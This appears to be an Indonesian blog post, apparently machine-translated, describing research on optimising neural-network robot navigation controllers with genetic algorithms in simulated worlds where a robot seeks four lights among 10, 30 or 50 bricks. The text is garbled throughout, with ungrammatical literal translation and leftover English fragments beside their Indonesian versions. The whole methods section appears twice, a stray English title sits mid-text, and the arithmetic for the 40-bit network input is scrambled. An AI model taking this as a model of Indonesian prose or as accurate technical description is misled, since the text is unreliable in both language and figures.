Untuk melakukan percobaan pertama kita memilih model robot dan platform simulasi di mana kita akan mengukur hasil. Lalu kami merancang sebuah 'dasar' masalah yang controller adalah untuk menangani. Setelah kami telah mendefinisikan robot Tujuan kami jaringan saraf untuk perusahaan pengendali yang dilatih pada yang sangat dasar dan sederhana seperangkat aturan perilaku. Sekarang, dengan jaringan terlatih, kami menciptakan sebuah populasi jaring yang kemudian dikenakan algoritma genetika berdasarkan optimasi, memilih mereka dengan lebih baik performance. kinerja. Setelah kami mengamati sebuah substansial peningkatan kinerja, individu terbaik diekstraksi dari populasi dan mengacu terhadap implementasi dari masalah model meningkatkan kompleksitas.
Identifikasi Masalah
Untuk langkah-langkah yang konsisten dari robot kinerja, arsitektur controller konstan
dan masalah kelas dirancang. Ini adalah diuraikan di bawah ini :
Masalah Kelas
Dalam dunia yang khas, ada empat lampu merata, dan sejumlah dinding, corridors, and obstacles. koridor, dan rintangan. Robot objektif dunia yang diberikan adalah untuk menemukan semua empat lampu di setidaknya jumlah waktu (siklus) mungkin Setelah menemukan cahaya diberikan, berhenti menerima dalam perusahaan sensor, dan sehingga memerlukan pergi mencari yang lain. Proses ini berlangsung sampai empat lampu yang ditemukan atau waktu maksimum yang diberikan telah tercapai.
Dunia diciptakan dibagi menjadi kompleksitas kelas, diberikan oleh jumlah batu bata
di masing-masing dari mereka. Langkah ini dipilih karena sebanding dengan kesulitan atau jumlah hambatan yang robot akan mencari melalui cara Meskipun tampaknya bahwa jumlah yang lebih besar dari batu bata di dunia berukuran sama berarti bahwa mendapatkan informasi lebih banyak melalui sensor-dan karena itu memecahkan masalah lebih cepat -, ini tidak demikian, karena batu bata sendiri blok sumber cahaya dan karena relatif bata cahaya bervariasi dari dunia untuk world dunia Kompleksitas 10, 30 dan 50 bata per dunia yang dipertimbangkan untuk pembandingan kontroler.
Seperti dijelaskan sebelumnya, karya yang diusulkan skema adalah untuk membangun jaringan saraf, kereta itu dengan seperangkat aturan minimum, mengoptimalkan menggunakan
algoritma genetik dan kemudian tolok ukur yang terbaik controller pada beberapa dunia yang berbeda. Dalam hal ini kami akan menunjukkan keputusan yang diambil Untuk mulai dengan, controller adalah maju jaringan saraf, dengan tiga penuh tingkatan yang saling berhubungan. Seperti disebutkan di atas, input controller adalah ukuran cahaya 8 dengan 4 dan 8 langkah
resolusi masing-masing.
Dari sini kita simpulkan bahwa input ke jaringan saraf adalah 40 bit: dan jarak 24 (8 x 3) untuk lampu 8 x 2) untuk 16 (. A A kode biner langsung dari simulator-
memberikan nilai ke jaring saraf yang sesuai input terpilih untuk kesederhanaan.
APPLIED TO ROBOT NAVIGATION CONTROLLER OPTIMIZATION
Artikel ini menunjukkan hasil kerja kami pada penggunaan algoritma genetika untuk robot controller optimasi, khususnya orang-orang yang saraf-jaringan berbasis. Kedua efisiensi dan efektivitas diukur dalam serangkaian skenario yang berbeda, dan hasilnya menunjukkan menarik kesimpulan yang berkaitan indikator ini dan kompleksitas lingkungan.
Tujuan penelitian ini adalah untuk memenuhi syarat kemungkinan pengontrol JST optimasi dengan menggunakan algoritma genetika.
Penggunaan algoritma genetika telah terbukti berguna dalam satu set besar optimasi problems (Mesin Boeing menjadi yang paling luar biasa misalnya) yang beragam jenis dan kerumitan, namun optimasi dari saraf jaringan terus menjadi aplikasi menuntut metodologi ini, terutama karena tinggi polimodality dan ukuran ruang pencarian
Untuk melakukan percobaan pertama kita memilih model robot dan platform simulasi di mana kita akan mengukur hasil. Lalu kami merancang sebuah 'dasar' masalah yang controller adalah untuk menangani. Setelah kami telah mendefinisikan robot Tujuan kami jaringan saraf untuk perusahaan pengendali yang dilatih pada yang sangat dasar dan sederhana seperangkat aturan perilaku. Sekarang, dengan jaringan terlatih, kami menciptakan sebuah populasi jaring yang kemudian dikenakan algoritma genetika berdasarkan optimasi, memilih mereka dengan lebih baik performance. kinerja. Setelah kami mengamati sebuah substansial peningkatan kinerja, individu terbaik diekstraksi dari populasi dan mengacu terhadap implementasi dari masalah model meningkatkan kompleksitas.
Identifikasi Masalah
Untuk langkah-langkah yang konsisten dari robot kinerja, arsitektur controller konstan
dan masalah kelas dirancang. Ini adalah diuraikan di bawah ini :
Masalah Kelas
Dalam dunia yang khas, ada empat lampu merata, dan sejumlah dinding, corridors, and obstacles. koridor, dan rintangan. Robot objektif dunia yang diberikan adalah untuk menemukan semua empat lampu di setidaknya jumlah waktu (siklus) mungkin Setelah menemukan cahaya diberikan, berhenti menerima dalam perusahaan sensor, dan sehingga memerlukan pergi mencari yang lain. Proses ini berlangsung sampai empat lampu yang ditemukan atau waktu maksimum yang diberikan telah tercapai.
Dunia diciptakan dibagi menjadi kompleksitas kelas, diberikan oleh jumlah batu bata
di masing-masing dari mereka. Langkah ini dipilih karena sebanding dengan kesulitan atau jumlah hambatan yang robot akan mencari melalui cara Meskipun tampaknya bahwa jumlah yang lebih besar dari batu bata di dunia berukuran sama berarti bahwa mendapatkan informasi lebih banyak melalui sensor-dan karena itu memecahkan masalah lebih cepat -, ini tidak demikian, karena batu bata sendiri blok sumber cahaya dan karena relatif bata cahaya bervariasi dari dunia untuk world dunia Kompleksitas 10, 30 dan 50 bata per dunia yang dipertimbangkan untuk pembandingan kontroler.
Seperti dijelaskan sebelumnya, karya yang diusulkan skema adalah untuk membangun jaringan saraf, kereta itu dengan seperangkat aturan minimum, mengoptimalkan menggunakan
algoritma genetik dan kemudian tolok ukur yang terbaik controller pada beberapa dunia yang berbeda. Dalam hal ini kami akan menunjukkan keputusan yang diambil Untuk mulai dengan, controller adalah maju jaringan saraf, dengan tiga penuh tingkatan yang saling berhubungan. Seperti disebutkan di atas, input controller adalah ukuran cahaya 8 dengan 4 dan 8 langkah
resolusi masing-masing.
Dari sini kita simpulkan bahwa input ke jaringan saraf adalah 40 bit: dan jarak 24 (8 x 3) untuk lampu 8 x 2) untuk 16 (. A A kode biner langsung dari simulator-
memberikan nilai ke jaring saraf yang sesuai input terpilih untuk kesederhanaan.
Langganan:
Postingan (Atom)